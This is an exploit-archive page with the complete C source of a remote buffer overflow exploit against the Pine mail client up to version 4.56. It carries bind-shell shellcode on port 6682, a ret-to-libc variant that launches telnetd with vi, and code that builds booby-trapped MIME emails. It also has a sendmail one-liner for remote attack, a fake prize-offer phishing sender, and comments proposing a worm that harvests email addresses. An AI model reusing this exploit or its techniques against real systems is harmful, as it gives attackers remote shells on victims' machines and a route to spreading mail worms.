[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Pine <= 4.56 Remote Buffer Overflow Exploit
# Published : 2003-09-16
# Author : sorbo
# Previous Title : MS Windows (RPC DCOM) Long Filename Overflow Exploit (MS03-026)
# Next Title : MySQL 3.23.x/4.0.x Remote Exploit
/*
* Mon Sep 15 09:35:01 CEST 2003
*
* (remote?) Pine <= 4.56 exploit
* by sorbo (sorbox yahoo com)
* darkirco
*
* Ok won't talk much about the bug since as usual idefense advisories
* are *proper* advisories and explain everything... exploiting the bug
* is trivial after reading the adv:
* http://www.idefense.com/advisory/09.10.03.txt
*
* There are two ways of doing this:
* 1) standard shellcode
* we don't need offset here because of nature of hole...
* all we need is distance from a variable to eip which is quite fixed
* it is not like we need an "offset somewhere in stack"
* just a relative distance
*
* 2) ret to libc (should work on fbsd too)
* this requires our command string somewhere in memory
* we may use .bss (fixed)
* we also need distance from variable to ebp (quite fixed)
* and we need addr of system (fixed)
* This is "own" grsec since we don't really run a shellcode
* and directly overwrite eip
*
* In both method i said u need the dist from var -> eip/ebp
* this can actually be "bruteforced"
* I didn't show this since this is a PoC and uses "exact offsets"
* All u do is supply multiple charsets and overwrite larger areas of memory
* This makes method 1 100% successfull (or letys say 99.9%)
* (nice for remote exploitation)
*
* Method 2 is "slightly harder" to bruteforce since u must NOT overwrite
* eip... so u must "stop ur bruteforce ad ebp" somehow... but thats kinda
* gay ;D
*
* With unfallable method one a worm can easily be done...
* shellcode that listens and uploads worm...
* and executes a grep @ /var/spool/mail/bla or whatever to get emails
* or pine addr book
*
* also for normal "owning" u can use reverse telnetd shellcode
* so u just keep a server up and don't have to "wait" for person
* to launch sploit
*
* Greetz: zen-parse (thanks for your patience (if im not in ur ignore ;D))
* non metto i soliti stronzi de merda nei greetz (tipo gunzip ;D)
* e specialmente kuelle ke non me la danno ;D ahahah
*
* #areyoucrazy@ircnet
* (most leet chan... fill it up with ur bots ;D)
*
* and last but not least... the world must know: s0lar TI AMO!!!
*
*
* ok enough... hope this exp is lame enough i wanted to close my summer
* vacation with it and proove the world i had nothing better to do =D
* college is starting c ya
*
* to own remotely: ./sorpine -o 1 -t bla bla com | sendmail -t
*
* Enjoy have fun!
*
*/
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <signal.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define PINE "/usr/bin/pine"
#define PLIST 50 /* a location buff-PLIST that is writable (.bss) */
/* port bind command ;D
* from vi spawn a shell duh...
*
*/
char *lame_cmd =
"/usr/sbin/in.telnetd -L /usr/bin/vi -debug 6682 & /bin/killall -9 pine";
struct target_info {
char desc[1024];
int method; /* 0 easy , 1 hard */
int dist; /* eip or ebp depending on method */
int buff;
int sys;
};
/*
* notice to slackware maintainers:
* sorry guyz.. its not that im against u
* its that I only use slack =(
* thats y all my exps only have slack targets ;D
* keep up the good work =D
* plus... its free advertisment for u!
*
*/
struct target_info targets[] = {
{ "Slackware 9.0",0,300,0,0},
{ "Slackware 9.0",1,296,0x083c8f15,0x0804aeda},
{ "Slackware 8.1",0,284,0,0},
{ "Slackware 8.1",1,280,0x0838e0d5,0x0804aeca},
{ "Slackware 8.0",0,284,0,0},
{ "Slackware 8.0",1,280,0x0836d875,0x0804a5ba}
};
/*
* Non usable chars in egg (sc and various addrs)
*
*/
char nonusable[] = "x09x0ax0dx28x29x5c";
/*
* lame (but working??) modification of sorshell
* no setsockopt() =((( too long
* portbinding shellcode with terminal support
* (if whatever i said makes sense)
* port 6682
* telnet ip 6682
* ^]
* telnet> mode character
*
* funny how my ret to libc does the same thing and its 0 byte shellcode ;D
*
*/
char shellcode[] =
"x31xc9xf7xe1xb0x02xcdx80x39xc8x74x05x31xc0x40xcdx80x31"
"xc0xb0x06x50xb0x01x50x89xc3x40x50xb0x66x89xe1xcdx80x89"
"xc2x31xdbx53x66xb9x1ax1axc1xe1x10xb1x02x51x89xe1x6ax10"
"x51x52x89xe1xb0x66xb3x02xcdx80x6ax01x52x89xe1xb0x66xb3"
"x04xcdx80x31xc0x50x50x52x89xe1xb0x66x43xcdx80x89xc7x89"
"xd3x89xc1xb0x06x89xc8x31xd2x52x68x70x74x6dx78x68x64x65"
"x76x2fx68x2fx2fx2fx2fx31xc9xb1x02x89xe3xb0x05xcdx80x89"
"xc6x52x89xe2xb9x31x54x04x40x89xf3xb0x36xcdx80x89xe2xb9"
"x30x54x04x80xb0x36xcdx80x59x83xc1x30xc1xe1x18xbax01x74"
"x73x2fxc1xeax08x01xcax31xc9x51x52x31xd2x68x65x76x2fx70"
"x68x2fx2fx2fx64xb1x02x89xe3xb0x05xcdx80x89xc2xb0x02xcd"
"x80x31xc9x39xc8x75x3fxb0x42xcdx80xb1x03x31xc0x89xd3xb0"
"x3fx49xcdx80x41xe2xf8x89xd3xb0x06xcdx80x89xf3xb0x06xcd"
"x80x89xfbxb0x06xcdx80x50x68x2fx2fx73x68x68x2fx62x69x6e"
"x89xe3x50x53x89xe1x99xb0x0bxcdx80x31xc0x40xcdx80x89xd3"
"x31xc0xb0x06xcdx80x83xecx50x31xc9xf7xe1x31xdbx89xf9x43"
"xd3xe3x01xd8x89xf1x31xdbx43xd3xe3x01xd8x50x89xdax89xcb"
"x43x89xe1x52x57x56x31xffx31xf6x31xc0x99xb0x8excdx80x5e"
"x5fx5bx58x21xd8x31xdbx39xc3x75x1bxb2x50x89xe1x89xfbx31"
"xc0xb0x03xcdx80x83xf8x01x7cx26x89xc2x89xf3xb0x04xcdx80"
"xebxadxb2x50x89xe1x89xf3x31xc0xb0x03xcdx80x83xf8x01x7c"
"x0bx90x89xc2x89xfbxb0x04xcdx80xebx91x31xc0x40xcdx80";
/* cause a break and have a "test" number to check */
char testsc[] = "xccx01x02x03x04";
struct bss {
int start;
int end;
};
char mail[6666]; /* this is basically the "egg" */
void die(int i, char *m) {
if(i)
perror(m);
else
printf("%sn",m);
exit(0);
}
/*
* prepare boring part of email
*
*/
void prepare_mail(char *from, char *sub, char *to) {
snprintf(mail,sizeof(mail),
"From: %sn"
"Subject: %sn"
"To: %sn"
"MIME-Version: 1.0n"
"Content-Type: multipart/related;n"
" type="multipart/alternative";n"
" boundary=sorbo-roxnn"
"--sorbo-roxn",from,sub,to);
}
/*
* ok here da tricky bit
* arg: number of bytes (distance)
*
* it returns a positive unsigned int
* that becomes negative when singed
* that when *4 becomes signed
* matching our distance
* yeah kinda dirty... i hate numbers ;D
* w00t
*
*/
unsigned int num(int dist) {
int tmp = -1-dist;
unsigned int border = tmp;
int neg = (border/4)*(-1);
unsigned int res;
res = 0xffffffff+neg;
return res;
}
/*
* ret-to-libc system() grsex 0wned
*
* we overwrite ebp
* we control esp (heap)
* we make stack perfect and make it ret to system
*
*
* conditions plist must be writable (bss is ok)
* we must know addr of ptr to our command (bss is fixed)
*
* NOTE: segfault after shell is NORMAL since it will return to plist addr
*
*/
void own_hard(int sys, int plist, int cmd, int dist, char *command) {
char egg[1024];
int *ptr = (int*)&egg[0];
*ptr = 0x41414141; /* ebp */
ptr++;
*ptr = sys; /* system */
ptr++;
*ptr = plist; /* ret / plist */
ptr++;
*ptr = cmd; /* /bin/sh */
ptr++;
*ptr = 0;
/* practice: exploit this exploit =D */
sprintf(mail+strlen(mail),
"Content-Type: message/external-body;n"
" access-type="%s";n"
" charset*%u*="%s";n"
"Content-Transfer-Encoding: 8bitn"
"--sorbo-rox--n",
command,num(dist), egg);
}
/*
* we overwrite ret addr and own it
* no offset needed since we control area pointer by ret directly
* well we do need the stack distance from params to eip
*
*/
void own_easy(int dist, char *s) {
/* practice: exploit this exploit =D */
sprintf(mail+strlen(mail),
"Content-Type: text/html;n"
" charset*%u*="%s";n"
"Content-Transfer-Encoding: 8bitn"
"--sorbo-rox--n",
num(dist), s);
}
/* create a lame pinerc */
void pinerc() {
int pid;
pid = fork();
if(pid == -1)
die(1,"fork()");
if(!pid) {
char *arg[] = { "pine","-p","/tmp/pinerc", NULL };
close(1);
close(2);
execve(PINE,arg,NULL);
die(1,"execve()");
}
else {
sleep(1);
kill(pid,SIGKILL);
wait(NULL);
}
if(system("grep -v inbox-path /tmp/pinerc > /tmp/o "
"&& mv /tmp/o /tmp/pinerc && "
"echo inbox-path=/tmp/meil >> /tmp/pinerc")<0)
die(1,"system()");
}
void write_mail(char *path) {
FILE *f;
f = fopen(path,"w");
if(!f)
die(1,"fopen()");
if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983n%s",mail) < 1)
die(1,"fprintf()");
fclose(f);
}
char *line;
/* get a free tty */
int getty(int *master, int *slave) {
if ((*master = open("/dev/ptmx", O_RDWR)) == -1)
return -1;
if (grantpt(*master) == -1 ||
unlockpt(*master) == -1 ||
(line = (char*)ptsname(*master)) == NULL ||
(*slave = open(line, O_RDWR)) == -1) {
close(*master);
return -1;
}
return 0;
}
/* fire up debugged process (and continue && wait) */
int start_debug(int cont) {
int pid = fork();
int slave,master;
/* we associate it to tty cuz ncurses fucks up screen */
if( getty(&master,&slave) == -1)
die(0,"getty()");
if(pid == -1)
die(1,"fork()");
/* child */
if(!pid) {
char *arg[] = { "pine", "-p","/tmp/pinerc","-I",
"l,>,>,<,<,q,y",NULL };
if(ptrace(PTRACE_TRACEME,NULL,NULL)==-1)
die(1,"ptrace()");
if ((pid = open(line, O_RDWR)) == -1)
die(1,"open()");
dup2(pid,0);
close(1);
close(2);
execv(PINE,arg);
die(1,"execve()");
}
else {
wait(NULL);
if(cont) {
if(ptrace(PTRACE_CONT,pid,0,0) == -1)
die(1,"ptrace()");
wait(NULL);
}
}
return pid;
}
void stop_debug(int pid) {
if(ptrace(PTRACE_KILL,pid,0,0) == -1)
die(1,"ptrace()");
wait(NULL);
}
/*
* 0 = nope
* 1 = yea
* duh ;D
*
*/
int test_dist() {
struct user_regs_struct regs;
int x;
int pid = start_debug(1);
if(ptrace(PTRACE_GETREGS,pid,NULL,®s)==-1)
return 0; /* exited normally prolly */
// printf("EIP=%xn",regs.eip);
x = ptrace(PTRACE_PEEKTEXT,pid,regs.eip,NULL);
if(x == -1 && errno != 0 && errno != EIO)
die(1,"ptrace()");
// printf("INSTR=%xn",x);
stop_debug(pid);
if(x == *((int*)&testsc[1]))
return 1;
return 0;
}
/* popen and get line */
char *getShit(char *cmd) {
FILE *f;
static char buff[1024];
f = popen(cmd,"r");
if(f == NULL) {
perror("popen");
exit(0);
}
buff[0] = 0;
fgets(buff,sizeof(buff),f);
pclose(f);
return &buff[0];
}
/* get a number from a popen */
int getInt(char *p) {
char *ptr = getShit(p);
int ret = 0;
if(sscanf(ptr,"%x",&ret)!=1) {
printf("Error in getting addrn");
exit(0);
}
return ret;
}
/* get start and end of bss */
struct bss getbss() {
struct bss b;
b.start = getInt("objdump --headers "
PINE" | grep " .bss" | awk '{print $4}'");
b.end = getInt("objdump --headers "
PINE" | grep " .bss" | awk '{print $3}'");
b.end += b.start;
return b;
}
/* find our buff (command) in the process memory .bss */
int findbuf(int ebp) {
struct bss b;
int pid;
int cmd = 0x12345678;
int addr;
int ret = -1;
struct user_regs_struct regs;
int x;
b = getbss();
printf(".bss START =0x%.8x END=0x%.8xn",b.start,b.end);
prepare_mail("from","subj","to");
own_hard(0x41414141,b.start,b.start,ebp,(char*)&cmd);
write_mail("/tmp/meil");
addr = b.start;
pid = start_debug(1);
if(ptrace(PTRACE_GETREGS,pid,NULL,®s)==-1)
return -1; /* exited normally prolly */
// printf("EIP=%xn",regs.eip);
if(regs.eip != 0x41414141)
return -1;
for(addr = b.start; addr < b.end; addr++) {
printf("Checking 0x%.8xr",addr);
fflush(stdout);
x = ptrace(PTRACE_PEEKTEXT,pid,addr,NULL);
if(x == -1 && errno != 0)
die(1,"ptrace()");
if(x == cmd) {
ret = addr;
break;
}
}
stop_debug(pid);
putchar('n');
return ret;
}
/* get system from libc */
int getSystem() {
int base;
int offset;
char tmp[1024*2];
char libc[512];
/* binary specific */
base = getInt("ldd " PINE
" | grep "libc\." | awk '{print $4}' | tr -d "()"");
// printf("GLIBC base addr 0x%.8xn",base);
/* get libc path */
snprintf(libc,sizeof(libc),"%s",getShit("ldd " PINE
" | grep "libc\." | awk '{print $3}'"));
if(strlen(libc) <2) {
printf("can't get libc locationn");
exit(0);
}
libc[strlen(libc)-1] = 0;
/* lib specific */
snprintf(tmp,sizeof(tmp),"objdump -T %s | grep \ system | "
"awk '{print $1}' ",libc);
offset = getInt(tmp);
// printf("GLIBC __libc_system offset 0x%.8xn",offset);
offset += base;
// printf("system() addr 0x%.8xn",offset);
return offset;
}
/* check if offset contains non usable chars */
int isUsable(int x) {
int i,j;
for(i = 0; i < sizeof(x); i++)
for(j =0; j < sizeof(nonusable); j++)
if( *(((unsigned char*)&x)+i) == nonusable[j])
return 0;
return 1;
}
/* get various system offsets */
int *getSystemOffsets() {
static int off[3];
int pid;
int x;
off[0] = getSystem();
off[1] = getInt("objdump -T "PINE" | grep system | awk '{print $1}'");
off[2] = getInt("objdump -R "PINE" | grep system | awk '{print $1}'");
pid = start_debug(0);
x = ptrace(PTRACE_PEEKTEXT,pid,off[2],NULL);
if(x == -1 && errno != 0)
die(1,"ptrace()");
off[2] = x;
stop_debug(pid);
return &off[0];
}
/* get target from local pine */
struct target_info getTarget() {
struct target_info target;
int *sysa;
int i;
char os[512];
/* get a description of target */
snprintf(os,sizeof(os),getShit("uname -sr | tr -d 'n'"));
snprintf(target.desc,sizeof(target.desc),"%s Pine %s",os,
getShit(PINE" -v | awk '{print $2}' | tr -d 'n'"));
printf("Trying to own: %sn",target.desc);
pinerc();
/* find stack dist from params -> eip */
printf("Searching stack distancen");
for(target.dist = 4; target.dist < 1024; target.dist+=4) {
prepare_mail("from","subj","to");
own_easy(target.dist,testsc);
write_mail("/tmp/meil");
printf("Testing target.dist %dr",target.dist);
fflush(stdout);
if(test_dist())
break;
}
printf("n");
if(target.dist == 1024)
die(1,"Can't find dist");
printf("DIST=%dnn",target.dist);
printf("Ok theoretically we can exploit it the easy wayn"
"looking for hard way shit nownn");
/* find our buffer on bss ebp should b eip-4 */
target.buff = findbuf(target.dist-4);
target.method = 0;
if(target.buff != -1) {
target.method = 1;
if(!isUsable(target.buff) || !isUsable(target.buff-PLIST))
die(0,"TODO: addr not usuable... trivial to fix");
printf("Our command will lie in 0x%.8xnn",target.buff);
/* find usable system() addr */
printf("Obtaining system() addr listn");
sysa = getSystemOffsets();
for(i = 0; i < 3; i++) {
int usable = isUsable(sysa[i]);
printf("System %d:0x%.8x %sn",i,sysa[i],
usable?"OK":"NOT OK");
if(usable)
target.sys = sysa[i];
}
printf("Will use 0x%.8xnn",target.sys);
}
else
printf("Unable to do things the hard way =(n");
unlink("/tmp/pinerc");
unlink("/tmp/meil");
printf("Summary of targets for this system:n"
"{ "%s",0,%d,0,0},n",target.desc,target.dist);
if(target.method)
printf("{ "%s",1,%d,0x%.8x,0x%.8x}n",
target.desc,target.dist-4,target.buff,target.sys);
return target;
}
/* yeah kids luv this */
void skriptkiddie_s0lar() {
char *mbox;
FILE *f;
struct target_info target;
printf("O shit... is it s0lar running this exp again?n"
"not even a -h? ok lets make her happy and make everyhing magically workn"
"WARNING: need write axx on /tmp and use of gdb (no grsec high)nn");
target = getTarget();
mbox = (char*)getenv("MAIL");
if(!mbox)
die(0,"getenv()");
printf("Attempting to write mails to %sn",mbox);
f = fopen(mbox,"a");
if(!f)
die(1,"fopen()");
/* first mail (easy) */
prepare_mail("Andrei Koymaski <andrei gay ru>",
"Easy method portbind 6682","Gustavo Lamazza <gustavo gay it>");
own_easy(target.dist,shellcode);
if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983n%sn",mail)<1)
die(1,"fprintf()");
/* second mail (hard)
* we run vi and then
* :!/bin/sh
* cuz we don't have enough space to make a bindshell and shit
*/
if(target.method) {
prepare_mail("Osama Bin Laden <osama al-quaeda ar>",
"Hard method (owns grsec) portbind 6682 with vi... spawn shell from vi",
"George Bush <george whitehouse gov>");
own_hard(target.sys,target.buff-PLIST,target.buff,
target.dist-4,
lame_cmd);
if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983n%sn",mail)<1)
die(1,"fprintf()");
}
printf("You should have mail... read with pine and see if this"
" crap worxn");
printf("Enjoy.... s0lar ti amon");
exit(0);
}
void listTargets() {
int i;
printf( "IdtDescriptiontMethodtDisttBuffttsystem()n"
"========================================================================n");
for(i =0; i < sizeof(targets)/sizeof(struct target_info); i++) {
printf("%dt%st%st%dt0x%.8xt0x%.8xn",
i,targets[i].desc,targets[i].method?"hard":"easy",
targets[i].dist,targets[i].buff,targets[i].sys);
}
}
/* own a target */
void own(struct target_info t,char *from,char *sub,char *to) {
prepare_mail(from,sub,to);
/* hard */
switch(t.method) {
case 1:
own_hard(t.sys,t.buff-PLIST,t.buff,t.dist,lame_cmd);
break;
case 0:
own_easy(t.dist,shellcode);
break;
default:
die(0,"Unknown ownage method");
}
printf("%s",mail);
}
void usage(char *m) {
printf("Usage: %s <opts>n"
"-htthis lame messagen"
"-ftfromn"
"-ttton"
"-stsubn"
"-ottargetn"
"-mtmethod 0:easy 1:hard(grsex)n"
"-dtdistn"
"-btbuffn"
"-ltsystemnn"
,m);
listTargets();
}
int main(int argc, char *argv[]) {
char from[512];
char to[512];
char sub[512];
int opt;
struct target_info t;
struct target_info *target = &t; /* we shall own this */
strcpy(from,"Justin Time <admin playboy com>");
strcpy(to,"You <winners playboy com>");
strcpy(sub,"You are selected! Come get your FREE playboy.com account");
t.method = -1;
t.buff = 0;
t.sys = 0;
t.dist = 0;
fprintf(stderr,"(remote?) Pine <= 4.56 exploit "
"by sorbo (sorbox yahoo com)np s grsec won't save you =(nn");
if(argc<2)
skriptkiddie_s0lar();
while( (opt = getopt(argc,argv,"hf:t:s:o:m:d:b:l:")) != -1) {
switch(opt) {
default:
case 'h':
usage(argv[0]);
exit(0);
case 'm':
t.method = atoi(optarg);
break;
case 'd':
t.dist = atoi(optarg);
break;
case 'b':
if(sscanf(optarg,"%x",&t.buff) != 1)
die(0,"Can't parse buff addr");
break;
case 'l':
if(sscanf(optarg,"%x",&t.sys) != 1)
die(0,"Can't parse sys addr");
break;
case 'f':
/* does snprintf put the 0 at end if arg
* barely fits ? i never really looked into
* this... hope it does! ;D
*/
snprintf(from,sizeof(from),"%s",optarg);
break;
case 't':
snprintf(to,sizeof(to),"%s",optarg);
break;
case 's':
snprintf(sub,sizeof(sub),"%s",optarg);
break;
case 'o': {
unsigned int o = atoi(optarg);
if(o >=
sizeof(targets)/sizeof(struct target_info))
die(0,"Target outta range");
target = &targets[o];
break;
}
}
}
/* check if we got all we need */
if(target == &t) {
if(!t.dist)
die(0,"provide dist");
if(t.method == 1)
if(!t.buff || !t.sys)
die(0,"buff or sys not provided");
}
/* go for it */
own(*target,from,sub,to);
exit(0);
}
// www.Syue.com [2003-09-16]